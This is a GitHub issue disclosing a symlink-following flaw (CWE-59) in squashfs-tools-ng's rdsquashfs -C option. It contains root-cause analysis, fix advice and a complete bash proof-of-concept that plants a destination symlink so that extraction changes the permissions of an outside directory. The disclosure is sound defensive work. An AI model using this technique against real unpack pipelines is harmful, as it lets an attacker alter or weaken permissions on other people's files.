Skip to content

squashfs-tools-ng rdsquashfs External chmod Metadata Clobber via Preexisting Destination Symlink #140

Description

@Nicholas-wei

rdsquashfs has an option to apply permission bits from the image to extracted nodes (--chmod/-C).

This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)

One realistic attack scenario is a pipeline that uses -C for fidelity when unpacking into a workspace directory that may be attacker-influenced:

/tmp/rdsquashfs_chmod_clobber_poc/
|-- out/
|   `-- dir -> ../outside/     (preexisting symlink planted in destination)
|-- outside/                  (sibling directory)
`-- image.sqfs                (untrusted image containing an empty directory "dir" with restrictive mode)

Victim workflow:

  1. Operator runs: rdsquashfs -C -u / -p /tmp/rdsquashfs_chmod_clobber_poc/out /tmp/rdsquashfs_chmod_clobber_poc/image.sqfs
  2. rdsquashfs treats out/dir as “already exists” (without verifying inode type)
  3. During metadata application, rdsquashfs calls chmod("dir", ...) via fchmodat(..., flags=0) which follows the symlink and changes the mode of /tmp/rdsquashfs_chmod_clobber_poc/outside/

This is a “metadata clobber” primitive: it modifies an external path’s permissions without needing to write an external file’s contents.

0. Environment

  • Source: git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
  • Version: squashfs-tools-ng commit e3dcf17 (latest on 23/04/2026)
  • Version below e3dcf17 is also infected.

1. Description

When applying permission bits, rdsquashfs uses:

  • fchmodat(AT_FDCWD, path, mode, 0)

Unlike its chown and utimensat calls (which use AT_SYMLINK_NOFOLLOW), the chmod path uses flags=0, which follows symlinks.

If path is a preexisting symlink due to a hostile destination pre-state, this results in chmod being applied to the symlink target (which can be outside the unpack root).

Relevant code:

  • bin/rdsquashfs/src/restore_fstree.c:~279-285
    • if (flags & UNPACK_CHMOD && !S_ISLNK(...)) fchmodat(..., 0)

2. Impact

An attacker who can pre-create a symlink in the destination tree can cause rdsquashfs -C to modify permissions of an attacker-chosen external path.

Depending on the chosen mode bits and victim context, impact can include:

  • denial of service (making external directories/files unreadable),
  • weakening permissions (making external paths world-writable),
  • breaking security assumptions of other tools that rely on directory permissions.

3. Root Cause

  • Existing destination components are not verified with lstat().
  • fchmodat(..., flags=0) follows symlinks; it should use AT_SYMLINK_NOFOLLOW or a dirfd-relative, symlink-safe walk.

4. Proof-of-Concept

4.1 PoC files

  • Runner: poc.sh

4.2 Expected result

The PoC verifies that the permissions of:

  • /tmp/rdsquashfs_chmod_clobber_poc/outside/

are modified when extracting with -C into:

  • /tmp/rdsquashfs_chmod_clobber_poc/out/ (containing a preexisting symlink dir -> ../outside)

5. Fix Recommendations

  1. For chmod operations, use fchmodat(..., AT_SYMLINK_NOFOLLOW) and handle platforms that lack it.
  2. Validate that any existing path component is a real directory before treating it as such (lstat + S_ISDIR).
  3. Prefer descriptor-relative extraction and metadata application (openat() walk; apply chmod/chown/time via fds).
  4. Add regression tests specifically for “metadata clobber” with hostile-prestate symlink components.

6. Reproduction

From this directory:

bash poc.sh

Below is poc.sh

#!/usr/bin/env bash
set -euo pipefail

SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"

for bin in mksquashfs; do
  if ! command -v "$bin" >/dev/null 2>&1; then
    echo "error: $bin is required" >&2
    exit 1
  fi
done

if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
  git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi

git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"

base=/tmp/unpfuzz_rdsquashfs_chmod_clobber_poc
rm -rf "${base}"
mkdir -p "${base}/src/dir" "${base}/out" "${base}/outside"

# Image contains an (empty) directory "dir" with a distinct mode.
chmod 700 "${base}/src/dir"
mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null

# Hostile pre-state: destination component is a symlink to an external directory.
chmod 755 "${base}/outside"
ln -s ../outside "${base}/out/dir"

before="$(stat -c %a "${base}/outside")"

# Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
  (cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi

build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)

rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
  echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
  exit 1
fi

# -C applies chmod; the empty directory node triggers fchmodat on "dir".
"${rdsq_bin}" -q -C -u / -p "${base}/out" "${base}/test.sqfs" >/dev/null

after="$(stat -c %a "${base}/outside")"

if [[ "${after}" == "${before}" ]]; then
  echo "[-] expected outside directory mode to change, but it did not" >&2
  echo "    before=${before} after=${after}" >&2
  exit 1
fi

echo "[+] outside directory mode changed via chmod-following symlink:"
echo "    ${base}/outside: ${before} -> ${after}"

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions